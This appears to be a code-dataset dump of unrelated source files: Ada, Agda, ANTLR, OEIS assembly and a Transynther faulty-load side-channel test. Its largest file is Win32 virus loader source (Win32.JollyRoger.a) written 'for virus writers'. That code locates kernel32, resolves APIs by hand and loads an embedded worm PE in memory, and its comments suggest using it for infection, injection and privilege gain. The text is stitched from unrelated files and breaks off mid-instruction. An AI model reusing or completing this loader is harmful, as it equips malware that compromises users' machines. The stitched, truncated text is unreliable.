max_stars_repo_path
stringlengths
4
261
max_stars_repo_name
stringlengths
6
106
max_stars_count
int64
0
38.8k
id
stringlengths
1
6
text
stringlengths
7
1.05M
Kernel/keyboard.asm
bestm80eva/blacklight-os
0
169286
<gh_stars>0 ;; Blacklight OS standard input functions ;; (c) 2011 <NAME> ; Blacklight OS is licensed under the Simplified BSD License (see license.txt) ; http://www.opensource.org/licenses/bsd-license.php ; IN: AX=array, BX=maximum number of characters to take ; OUT: AX=string, CX=total characters direct_input: push ax push bx push dx push di mov di, ax ; DI is where we'll store input (buffer) xor cx, cx ; Character received counter for backspace .loop: ; Now onto string getting mov ah, 10h int 16h cmp al, 13 ; If Enter key pressed, finish je .done cmp al, 8 ; Backspace pressed? je .back ; If not, skip following checks cmp cx, bx ; Are we full? je .loop jmp .other .back: cmp cx, 0 ; Backspace at start of string? je .loop ; Ignore it if so mov ah, 3 push cx int 10h pop cx cmp dl, 0 je .back_lineup pusha mov ax, 0E08h ; If not, write space and move cursor back mov bx, 0007h int 10h ; Backspace twice, to clear space mov al, ' ' int 10h mov al, 8 int 10h popa dec di ; Character position will be overwritten by new ; character or terminator at end dec cx ; Step back counter jmp .loop .back_lineup: mov ah, 3 push cx int 10h pop cx dec dh ; Jump back to end of previous line mov dl, 79 mov ah, 2 push bx mov bh, 0 int 10h pop bx mov al, ' ' ; Print space there mov ah, 0Eh push bx mov bx, 0007h int 10h pop bx mov ah, 3 push cx int 10h pop cx dec dh mov dl, 79 ; And jump back before the space mov ah, 2 push bx mov bh, 0 int 10h pop bx dec di ; Step back position in string dec cx ; Step back counter jmp .loop .other: pusha mov ah, 0Eh ; Output entered, printable character mov bx, 0007h int 10h popa stosb ; Store character in designated buffer inc cx ; Characters processed += 1 jmp .loop ; Still room for more .done: mov al, 0 stosb pop di pop dx pop bx pop ax ret
programs/oeis/138/A138408.asm
jmorken/loda
1
81232
<gh_stars>1-10 ; A138408: a(n) = prime(n)^6 - prime(n). ; 62,726,15620,117642,1771550,4826796,24137552,47045862,148035866,594823292,887503650,2565726372,4750104200,6321363006,10779215282,22164361076,42180533582,51520374300,90458382102,128100283850,151334226216,243087455442,326940373286,496981290872,832972004832,1061520150500,1194052296426,1500730351742,1677100110732,2081951752496,4195872914562,5053913144150,6611856250472,7212549413022,10942526586452,11853911588250,14976071831292,18755369577846,21691961596202,26808753331916,32894113444742,35161828326900,48551226272450,51682540549056,58451728308932,62103840598602,88245939632550,122978496247266,136821750708662,144215816801892,160005726539336,186374892382322,195930594145200,250058907188750,288136807515392,330928743953546,378890468381612,396109944104850,451729667968212,492309163417400,513710701744686,632711491214756,837201991719942,904820297013050,940299110503896,1014741853229852,1315127813325150,1464803622198672,1745729089577582,1806976738085052,1934854145598176,2140753641621482,2443410216924402,2693103168443316,2963706958323342,3156404426880386,3464955073648772,3915101633817132,4157825282402000,4681013008648632,5411082280083062,5567914722008100,6410082527865650,6590636786810736,7157924635220922,7558269224025806,8193662024284352,9109555799783592 cal $0,40 ; The prime numbers. add $1,$0 mov $2,$0 mul $0,13 div $0,$1 sub $0,2 pow $1,6 sub $1,$2 mul $1,$0 sub $1,15 div $1,22 mul $1,2 sub $1,12 div $1,2 sub $1,24 mul $1,2 add $1,62
agda/Algebra/Construct/Free/Semilattice/Relation/Unary/All/Def.agda
oisdk/combinatorics-paper
0
9682
<reponame>oisdk/combinatorics-paper {-# OPTIONS --cubical --safe #-} module Algebra.Construct.Free.Semilattice.Relation.Unary.All.Def where open import Prelude hiding (⊥; ⊤) open import Algebra.Construct.Free.Semilattice.Eliminators open import Algebra.Construct.Free.Semilattice.Definition open import Cubical.Foundations.HLevels open import Data.Empty.UniversePolymorphic open import HITs.PropositionalTruncation.Sugar open import HITs.PropositionalTruncation.Properties open import HITs.PropositionalTruncation open import Data.Unit.UniversePolymorphic private variable p : Level dup-◻ : (P : A → Type p) → (x : A) (xs : Type p) → (∥ P x ∥ × ∥ P x ∥ × xs) ⇔ (∥ P x ∥ × xs) dup-◻ P _ _ .fun = snd dup-◻ P _ _ .inv (x , xs) = x , x , xs dup-◻ P _ _ .rightInv (x , xs) = refl dup-◻ P _ _ .leftInv (x₁ , x₂ , xs) i .fst = squash x₂ x₁ i dup-◻ P _ _ .leftInv (x₁ , x₂ , xs) i .snd = (x₂ , xs) com-◻ : (P : A → Type p) → (x y : A) (xs : Type p) → (∥ P x ∥ × ∥ P y ∥ × xs) ⇔ (∥ P y ∥ × ∥ P x ∥ × xs) com-◻ P _ _ _ .fun (x , y , xs) = y , x , xs com-◻ P _ _ _ .inv (y , x , xs) = x , y , xs com-◻ P _ _ _ .leftInv (x , y , xs) = refl com-◻ P _ _ _ .rightInv (x , y , xs) = refl ◻′ : (P : A → Type p) → A ↘ hProp p [ ◻′ P ]-set = isSetHProp ([ ◻′ P ] x ∷ (xs , hxs)) .fst = ∥ P x ∥ × xs ([ ◻′ P ] x ∷ (xs , hxs)) .snd y z = ΣProp≡ (λ _ → hxs) (squash (fst y) (fst z)) [ ◻′ P ][] = ⊤ , λ x y _ → x [ ◻′ P ]-dup x xs = ΣProp≡ (λ _ → isPropIsProp) (isoToPath (dup-◻ P x (xs .fst))) [ ◻′ P ]-com x y xs = ΣProp≡ (λ _ → isPropIsProp) (isoToPath (com-◻ P x y (xs .fst))) ◻ : (P : A → Type p) → 𝒦 A → Type p ◻ P xs = [ ◻′ P ]↓ xs .fst isProp-◻ : ∀ {P : A → Type p} {xs} → isProp (◻ P xs) isProp-◻ {P = P} {xs = xs} = [ ◻′ P ]↓ xs .snd
src/VCEL.Core/Lang/VCELParser.g4
lywonglokyin/vcel
5
7494
parser grammar VCELParser; options { tokenVocab = VCELLexer; } expression : letexpr EOF | expr EOF ; letexpr : LET assignExpr (COMMA assignExpr)* IN expr ; assignExpr : ID ASSIGN expr ; expr : guardExpr #Guard | <assoc=right>expr '?' expr ':' expr #Ternary | booleanExpr #BoolExpr ; guardExpr : MATCH (matcher=ID)? (varName=ID)? (BAR booleanExpr ASSIGN arithExpr)+ (BAR otherwiseExpr arithExpr)? ; otherwiseExpr: OTHERWISE; booleanExpr : '!' booleanExpr #Not | booleanExpr AND booleanExpr #And | booleanExpr OR booleanExpr #Or | equalityExpr #Equality ; equalityExpr : equalityExpr EQ equalityExpr #Eq | equalityExpr NEQ equalityExpr #Neq | equalityExpr GT equalityExpr #GT | equalityExpr GTE equalityExpr #GTE | equalityExpr LT equalityExpr #LT | equalityExpr LTE equalityExpr #LTE | booleanOpExpr #booleanOp ; booleanOpExpr : booleanOpExpr IN setLiteral #InOp | booleanOpExpr MATCHES stringLiteral #Matches | booleanOpExpr MATCHES arithExpr #Matches | booleanOpExpr BETWEEN betweenArgs #Between | arithExpr #Arith ; arithExpr : MINUS arithExpr #UnaryMinus | '(' expr ')' #Paren | arithExpr DOT var #MemberExpr | arithExpr DOT functionExpr #MemberExpr | arithExpr DOT arithExpr #MemberExpr | <assoc=right>arithExpr POW arithExpr # Pow | arithExpr op=(MULTIPLY | DIVIDE) arithExpr # MultDiv | arithExpr op=(PLUS | MINUS) arithExpr # PlusMinus | functionExpr # FuncExpr | term #ExprListTerm | legacyNode DOT var #LegacyNodeExpr | legacyNode DOT functionExpr #LegacyNodeExpr ; betweenArgs : (OPEN_BRACE arithExpr COMMA arithExpr CLOSE_BRACE) ; objExpr : '(' expr ')' | var ; argList: '(' expr? (COMMA expr)* ')'; legacyNode : LEGACY_MATH | LEGACY_DATETIME ; functionExpr: ID '(' expr? (COMMA expr)* ')'; term : literal | var; var : property | variable; property: ID; variable: HASH ID; setLiteral: (OPEN_BRACE literal? (COMMA literal)* CLOSE_BRACE); dateLiteral : timeLiteral | dateTimeLiteral ; literal : integerLiteral | longLiteral | stringLiteral | doubleLiteral | floatLiteral | boolLiteral | dateLiteral | nullLiteral; boolLiteral: TRUE | FALSE; integerLiteral: INT_LITERAL; longLiteral: LONG_LITERAL; floatLiteral: FLOAT_LITERAL; doubleLiteral: NUMBER; stringLiteral: STRING_LITERAL; timeLiteral: TIME_LITERAL; dateTimeLiteral: DATE_LITERAL; nullLiteral: NULL;
Parser_Tools/src/unicode/implementation/lexer-base-unicode.adb
robdaemon/AdaYaml
32
3690
<filename>Parser_Tools/src/unicode/implementation/lexer-base-unicode.adb<gh_stars>10-100 -- part of ParserTools, (c) 2017 <NAME> -- released under the terms of the MIT license, see the file "copying.txt" with Ada.IO_Exceptions; package body Lexer.Base.Unicode is function Next (Object : in out Instance'Class) return Rune is begin if Object.Buffer (Object.Pos) = Character'Val (4) then return End_Of_Input; end if; return Ret : Rune do Strings_Edit.UTF8.Get (Object.Buffer.all, Object.Pos, Ret); end return; exception when Ada.IO_Exceptions.Data_Error => raise Lexer_Error with "Illegal content in UTF-8 source"; end Next; end Lexer.Base.Unicode;
src/system/file-write.asm
Pentium1080Ti/x86-assembly
0
175275
%include 'src/include/functions.asm' SECTION .data filename db 'readme.md', 0h contents db '# ASMFTW', 0h SECTION .text global _start _start: mov ecx, 0777 ; r, w, x mov ebx, filename mov eax, 8 ; sys_creat opcode int 80h mov edx, 8 ; bytes to write mov ecx, contents mov ebx, eax mov eax, 4 ; sys_write opcode int 80h call quit
test/Fail/CyclicModuleDependency.agda
shlevy/agda
1,989
16919
<filename>test/Fail/CyclicModuleDependency.agda module CyclicModuleDependency where import CyclicModuleDependency
Transynther/x86/_processed/NONE/_zr_/i7-7700_9_0xca_notsx.log_21829_752.asm
ljhsiun2/medusa
9
241991
<filename>Transynther/x86/_processed/NONE/_zr_/i7-7700_9_0xca_notsx.log_21829_752.asm .global s_prepare_buffers s_prepare_buffers: push %r11 push %r13 push %r14 push %r9 push %rbx push %rcx push %rdi push %rsi lea addresses_UC_ht+0x16b97, %r14 nop nop nop add $49158, %r13 movl $0x61626364, (%r14) nop cmp %rcx, %rcx lea addresses_A_ht+0xe4c7, %rsi nop nop nop nop xor $27135, %r9 mov (%rsi), %r13 nop nop nop nop nop sub %r13, %r13 lea addresses_A_ht+0x2837, %rsi lea addresses_WC_ht+0x14797, %rdi nop nop xor %r11, %r11 mov $109, %rcx rep movsl add $58511, %r14 lea addresses_A_ht+0x7b07, %rsi mfence mov $0x6162636465666768, %rdi movq %rdi, %xmm3 movups %xmm3, (%rsi) nop nop and %rdi, %rdi lea addresses_normal_ht+0x9317, %rsi lea addresses_WT_ht+0x1c0d7, %rdi nop sub %r9, %r9 mov $32, %rcx rep movsw nop inc %r14 lea addresses_normal_ht+0xa597, %rsi lea addresses_A_ht+0x1957, %rdi nop nop inc %rbx mov $81, %rcx rep movsl and %rdi, %rdi lea addresses_D_ht+0x417, %rsi lea addresses_UC_ht+0x88ec, %rdi nop add $34401, %r13 mov $58, %rcx rep movsb nop nop nop add $2329, %r11 lea addresses_WC_ht+0x7eb, %r9 dec %r11 movb (%r9), %cl xor $56263, %rsi lea addresses_UC_ht+0x7a71, %rsi nop nop nop nop nop and $61913, %r11 movw $0x6162, (%rsi) xor $53079, %rbx lea addresses_WC_ht+0x1d897, %r11 xor $16264, %rcx mov (%r11), %r14d dec %r9 lea addresses_normal_ht+0x7217, %rbx nop nop nop sub %r14, %r14 mov $0x6162636465666768, %r13 movq %r13, %xmm7 vmovups %ymm7, (%rbx) nop nop nop nop sub $7989, %r13 pop %rsi pop %rdi pop %rcx pop %rbx pop %r9 pop %r14 pop %r13 pop %r11 ret .global s_faulty_load s_faulty_load: push %r11 push %r12 push %r14 push %rbp push %rbx push %rdi // Store lea addresses_A+0x19d97, %rbp nop nop nop cmp %r11, %r11 mov $0x5152535455565758, %rbx movq %rbx, %xmm7 vmovups %ymm7, (%rbp) cmp %rbp, %rbp // Faulty Load lea addresses_A+0x19d97, %r14 nop nop nop nop nop add %rbx, %rbx vmovups (%r14), %ymm2 vextracti128 $0, %ymm2, %xmm2 vpextrq $1, %xmm2, %rbp lea oracles, %r12 and $0xff, %rbp shlq $12, %rbp mov (%r12,%rbp,1), %rbp pop %rdi pop %rbx pop %rbp pop %r14 pop %r12 pop %r11 ret /* <gen_faulty_load> [REF] {'src': {'NT': False, 'AVXalign': False, 'size': 4, 'congruent': 0, 'same': False, 'type': 'addresses_A'}, 'OP': 'LOAD'} {'dst': {'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 0, 'same': True, 'type': 'addresses_A'}, 'OP': 'STOR'} [Faulty Load] {'src': {'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 0, 'same': True, 'type': 'addresses_A'}, 'OP': 'LOAD'} <gen_prepare_buffer> {'dst': {'NT': False, 'AVXalign': False, 'size': 4, 'congruent': 3, 'same': False, 'type': 'addresses_UC_ht'}, 'OP': 'STOR'} {'src': {'NT': True, 'AVXalign': False, 'size': 8, 'congruent': 4, 'same': False, 'type': 'addresses_A_ht'}, 'OP': 'LOAD'} {'src': {'congruent': 5, 'same': False, 'type': 'addresses_A_ht'}, 'dst': {'congruent': 8, 'same': False, 'type': 'addresses_WC_ht'}, 'OP': 'REPM'} {'dst': {'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 2, 'same': False, 'type': 'addresses_A_ht'}, 'OP': 'STOR'} {'src': {'congruent': 4, 'same': False, 'type': 'addresses_normal_ht'}, 'dst': {'congruent': 5, 'same': False, 'type': 'addresses_WT_ht'}, 'OP': 'REPM'} {'src': {'congruent': 11, 'same': False, 'type': 'addresses_normal_ht'}, 'dst': {'congruent': 4, 'same': True, 'type': 'addresses_A_ht'}, 'OP': 'REPM'} {'src': {'congruent': 7, 'same': False, 'type': 'addresses_D_ht'}, 'dst': {'congruent': 0, 'same': True, 'type': 'addresses_UC_ht'}, 'OP': 'REPM'} {'src': {'NT': False, 'AVXalign': False, 'size': 1, 'congruent': 2, 'same': False, 'type': 'addresses_WC_ht'}, 'OP': 'LOAD'} {'dst': {'NT': False, 'AVXalign': False, 'size': 2, 'congruent': 1, 'same': True, 'type': 'addresses_UC_ht'}, 'OP': 'STOR'} {'src': {'NT': False, 'AVXalign': False, 'size': 4, 'congruent': 6, 'same': False, 'type': 'addresses_WC_ht'}, 'OP': 'LOAD'} {'dst': {'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 5, 'same': False, 'type': 'addresses_normal_ht'}, 'OP': 'STOR'} {'00': 21829} 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 */
Win32/Win32.JollyRoger.a/loader/p17.asm
fengjixuchui/Family
3
85220
<filename>Win32/Win32.JollyRoger.a/loader/p17.asm ; ; Win32.VxersPELoaderTool ; ; This code by itself its not a virus, but it will help ;) ; ; This code without WormBinary really is nothing. It doesnt infect or propagate in any ; manner.This code consist of a PE loader that will load a PE file. This PE loader will ; receive some parameters that will do it lot of flexible: ; ; parameter 1: pointer to ascii string with the name of the PE ; file to load. ; parameter 2: pointer to real HeapAlloc kernel32 function. ; parameter 3: pointer to real HeapReAlloc kernel32 function. ; parameter 4: pointer to real CreateFile kernel32 function. ; parameter 5: pointer to real ReadFile kernel32 function. ; parameter 6: pointer to real SetFilePointer kernel32 function. ; parameter 7: HANDLE of heap of the process. ; parameter 8: pointer to real HeapFree kernel32 function. ; parameter 9: reserved. ; parameter 10: this paremeter should be null for external callers. ; ; ; Really now its being used only HeapAlloc,CreateFile,ReadFile and SetFilePointer. ; You can give real pointers to real windows functions to PE loader,or u could give ; it pointer to functions that u have writed, modifying the manner of working of ; the PE loader i.e. in this code im giving it pointers to my own functions for ; loading a PE that i have in memory (WormBinary offset). ; ; On the other hand this code will load the PE file in WormBinary and it will search ; a export function in the PE file, "run", and it will call it with this parameters: ; ; int __stdcall run(void * LoadLibraryA, ; void * GetProcAddress, ; void * AddrOfVirusBaseVxstart, ;vxstart label ; int Size, ;size of code(WormBinary Included) ; int OffsetOfHostEntryOffset, ;HostEntryOffset label ; int OffsetOfWormBinary, ;WormBinary label ; int SizeOfWormBinary ;WormBinary size ; ); ; ; This function must return 1 if it wants the pe will not free when run returns, or ; 0 if it wants this code free memory allocated after executing run. ; ; ; Note the current WormBinary of this file is a "donothing" dll exporting run(...) ; function only for testing. What u can do with this code?: ; ; You can create your own dll exporting your own run function. This environment lets ; you to code a worm, a infector, or any thing in any high or low level language. ; ; Note worm binary its at the last part of the code. This code is able to load any ; PE in that zone without recompiling. The code will parse PE headers for finding the ; end of the raw binary (without overlays). Then you could change the binary in a ; infection with, for example, other binary downloaded from internet, a plugin. ; Or u could add infection and polimorphism to a worm writted in high level language. ; Inject your PE with run function exported in other process and create a remote thread ; in vxstart, and hook createfile in all process :D ... Or inject it to winlogon and ; get system privileges :) ... ; ; Really i think this code could be very useful for virus writers. Lot of things could ; be done with it. ; ; Note the current appended worm binary was not compiled with optimizations. You could ; compiling it (at least in visual c) with size optimizations, or merging sections, or ; any thing. ; ; Important note: ; ; If the PE to be loaded its importing functions dlls must be in the current directory. ; In addition this loader will not load well a pe importing ntdll.dll (directly or ; indirectly) becoz ntdll.dll needs lot of extra initializations. Imported dlls will ; be loaded in memory lot of apis of ntdll will not work well. ; Really im recommending ur pe to be appended here doesnt import anything. ; Note run are getting as parameters a pointer to LoadLibrary and a pointer ; to GetProcAddress. With both apis you can get any other. Use it. ; ; Other thing: fourth parameter of run(...), size, must be only used when the pe ; appended is the compiled with the code, not other changed in infection time or ; in any other manner. In that case use OffsetWormBinary+SizeOfWormBinary to know ; the total size. ; .486 .model flat extrn ExitProcess:proc extrn HeapAlloc:proc extrn HeapFree:proc extrn HeapReAlloc:proc extrn CreateFileA:proc extrn ReadFile:proc extrn SetFilePointer:proc extrn GetProcessHeap:proc extrn CopyFileA:proc extrn GetLastError:proc extrn GetProcAddress:proc extrn LoadLibraryA:proc extrn GetLastError:proc PUBLIC _start .data db 0 .code start: _start: jmp vxstart mov esi,offset EndWormBinary - 1 movingcode: mov al,[esi] mov [esi+1],al dec esi cmp esi,offset vxstart - 1 je Endmovingcode jmp movingcode Endmovingcode: mov esi,offset vxstart mov byte ptr [esi],90h ExitFirstGeneration: push 0 call ExitProcess ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;29a files include mz.inc include pe.inc include win32api.inc include useful.inc ;;;;;;;;;;;;;;;;;;;;;;; CalcLenString macro local loopin push esi dec esi loopin: inc esi cmp byte ptr[esi],0 jne loopin mov ecx,esi pop esi sub ecx,esi endm ;;;;;;;;;;;;;;;;;;;;;;; ;;;;;;;;;;;;;;;;;;;;;;; ;esi->name1 edi->name2. ;When it finish, ecx = 0 if equal or different if not CompareString macro local retfalse local rettrue local loopin push esi dec esi loopin: inc esi cmp byte ptr[esi],0 jne loopin mov ecx,esi pop esi sub ecx,esi or ecx,ecx jz retfalse cmp byte ptr [edi+ecx],0 jnz retfalse inc ecx push esi push edi repz cmpsb pop edi pop esi or ecx,ecx jz rettrue retfalse: mov ecx,1 rettrue: endm ;;;;;;;;;;;;;;;;;;;;;;; TOKEN_ASSIGN_PRIMARY equ 00000001h TOKEN_DUPLICATE equ 00000002h TOKEN_IMPERSONATE equ 00000004h TOKEN_QUERY equ 00000008h TOKEN_QUERY_SOURCE equ 00000010h TOKEN_ADJUST_PRIVILEGES equ 00000020h TOKEN_ADJUST_GROUPS equ 00000040h TOKEN_ADJUST_DEFAULT equ 00000080h TOKEN_ALL_ACCESS equ STANDARD_RIGHTS_REQUIRED or \ TOKEN_ASSIGN_PRIMARY or \ TOKEN_DUPLICATE or \ TOKEN_IMPERSONATE or \ TOKEN_QUERY or \ TOKEN_QUERY_SOURCE or \ TOKEN_ADJUST_PRIVILEGES or \ TOKEN_ADJUST_GROUPS or \ TOKEN_ADJUST_DEFAULT SE_PRIVILEGE_ENABLED equ 00000002h CHECKSUM_SUCCESS equ 00000000h CHECKSUM_OPEN_FAILURE equ 00000001h CHECKSUM_MAP_FAILURE equ 00000002h CHECKSUM_MAPVIEW_FAILURE equ 00000003h CHECKSUM_UNICODE_FAILURE equ 00000004h OBJ_CASE_INSENSITIVE equ 00000040h FILE_DIRECTORY_FILE equ 00000001h FILE_WRITE_THROUGH equ 00000002h FILE_SEQUENTIAL_ONLY equ 00000004h FILE_NO_INTERMEDIATE_BUFFERING equ 00000008h FILE_SYNCHRONOUS_IO_ALERT equ 00000010h FILE_SYNCHRONOUS_IO_NONALERT equ 00000020h FILE_NON_DIRECTORY_FILE equ 00000040h FILE_CREATE_TREE_CONNECTION equ 00000080h FILE_COMPLETE_IF_OPLOCKED equ 00000100h FILE_NO_EA_KNOWLEDGE equ 00000200h FILE_OPEN_FOR_RECOVERY equ 00000400h FILE_RANDOM_ACCESS equ 00000800h FILE_DELETE_ON_CLOSE equ 00001000h FILE_OPEN_BY_FILE_ID equ 00002000h FILE_OPEN_FOR_BACKUP_INTENT equ 00004000h FILE_NO_COMPRESSION equ 00008000h FILE_RESERVE_OPFILTER equ 00100000h FILE_OPEN_REPARSE_POINT equ 00200000h FILE_OPEN_NO_RECALL equ 00400000h FILE_OPEN_FOR_FREE_SPACE_QUERY equ 00800000h FILE_COPY_STRUCTURED_STORAGE equ 00000041h FILE_STRUCTURED_STORAGE equ 00000441h FILE_VALID_OPTION_FLAGS equ 00ffffffh FILE_VALID_PIPE_OPTION_FLAGS equ 00000032h FILE_VALID_MAILSLOT_OPTION_FLAGS equ 00000032h FILE_VALID_SET_FLAGS equ 00000036h FILE_SHARE_READ equ 00000001h FILE_SHARE_WRITE equ 00000002h FILE_READ_DATA equ 00000001h FILE_WRITE_DATA equ 00000002h FILE_APPEND_DATA equ 00000004h FILE_OPEN_IF equ 00000003h FILE_OPEN equ 00000001h FILE_NON_DIRECTORY_FILE equ 00000040h STATUS_SUCCESS equ 00000000h SEC_COMMIT equ 08000000h SECTION_QUERY equ 00000001h SECTION_MAP_WRITE equ 00000002h SECTION_MAP_READ equ 00000004h SECTION_MAP_EXECUTE equ 00000008h SECTION_EXTEND_SIZE equ 00000010h STANDART_RIGTHS_REQUIRED equ 000F0000h SYNCHRONIZE equ 00100000h THREAD_ALL_ACCESS equ (STANDARD_RIGHTS_REQUIRED + SYNCHRONIZE + 3FFh) FILE_BEGIN equ 00000000h IMAGE_DOS_HEADERSIZE equ size IMAGE_DOS_HEADER IMAGE_NT_HEADERSSIZE equ size IMAGE_NT_HEADERS IMAGE_SECTION_HEADERSIZE equ size IMAGE_SECTION_HEADER HEAP_ZERO_MEMORY equ 00000008h STARTUPINFOSIZE equ 68 PROCESSINFORMATIONSIZE equ 16 vxstart: pop ebx push ebx SearchKernel: xor bx,bx cmp word ptr [ebx],'MZ' je KernelFound cmp word ptr [ebx],'ZM' je KernelFound sub ebx,1000h jmp SearchKernel KernelFound: ;we'll get some needed apis call JumpOverMemoryApis db 'GetProcAddress',0 GetProcAddressz equ GetProcessHeapz+4 db 'GetProcessHeap',0 GetProcessHeapz equ LoadLibraryz+4 db 'LoadLibraryA',0 LoadLibraryz equ HeapAllocz+4 HeapAllocz equ 0 JumpOverMemoryApis: pop esi ;opcode 5e GetNeededApis: call PEGetProcAddr or eax,eax jz LeaveVirusCode push eax CalcLenString lea esi,dword ptr [esi+ecx+1] cmp byte ptr [esi],5eh ;becareful with apis starting with '^' :P jne GetNeededApis mov ebp,esp ;ebp pointing apis call JumpOverHeapAlloc db 'HeapAlloc',0 ;HeapAlloc api,as others,is problematic. Exported addr is really ;a string in this manner: NTDLL.RtlHeapAllocate in ntdll, and ;loader knows it must resolve import with this other address. JumpOverHeapAlloc: push ebx call dword ptr [ebp + GetProcAddressz-4] push eax mov ebp,esp ;ebp pointing apis call dword ptr [ebp + GetProcessHeapz] mov ebx,eax push FILEHANDLESIZE push HEAP_ZERO_MEMORY push eax call dword ptr [ebp + HeapAllocz] mov byte ptr [eax],'z' mov edx,eax push 00000000h push 00000000h push 00000000h push ebx call mySetFilePointerAddr add eax,2 push eax call myReadFileAddr add eax,2 push eax call myCreateFileAddr add eax,2 push eax push 00000000h push dword ptr [ebp + HeapAllocz] push edx call PeLoader pop edx pop edx ;LoadLibraryA pop ebx pop ebx ;GetProcAddress or eax,eax jz LeaveVirusCode ;calling "run" exported function with interface: ; int __stdcall run(void * LoadLibraryA, ; void * GetProcAddress, ; void * AddrOfVirusBaseVxstart, ;vxstart label ; int Size, ;size of code(WormBinary Included) ; int OffsetOfHostEntryOffset, ;HostEntryOffset label ; int OffsetOfWormBinary, ;WormBinary label ; int SizeOfWormBinary ;size of WormBinary ; ); ; This function must return 1 if it wants the pe will not free when run returns or ; 0 if it wants this code free memory allocated after executing run. ;;;;;;;;;;;;;;; mov esi,eax push eax ; handle of the pe loaded call WormBinaryAddr add eax,2 push eax mov eax,dword ptr [eax+3ch] add eax,[esp] xor ecx,ecx mov cx,[eax.IMAGE_NT_HEADERS.NT_FileHeader.FH_NumberOfSections] dec ecx push eax mov eax,IMAGE_SIZEOF_SECTION_HEADER push edx mul ecx pop edx; DAMN!!!! mul was erasing edx... ;///////// add [esp],eax add dword ptr [esp],IMAGE_NT_HEADERSSIZE pop eax ;eax-> last section hdr mov ecx,[eax.IMAGE_SECTION_HEADER.SH_PointerToRawData] add ecx,[eax.IMAGE_SECTION_HEADER.SH_SizeOfRawData] mov [esp],ecx ;SizeOfWormBinary mov eax,WormBinary-vxstart push eax; Offset of WormBinary mov 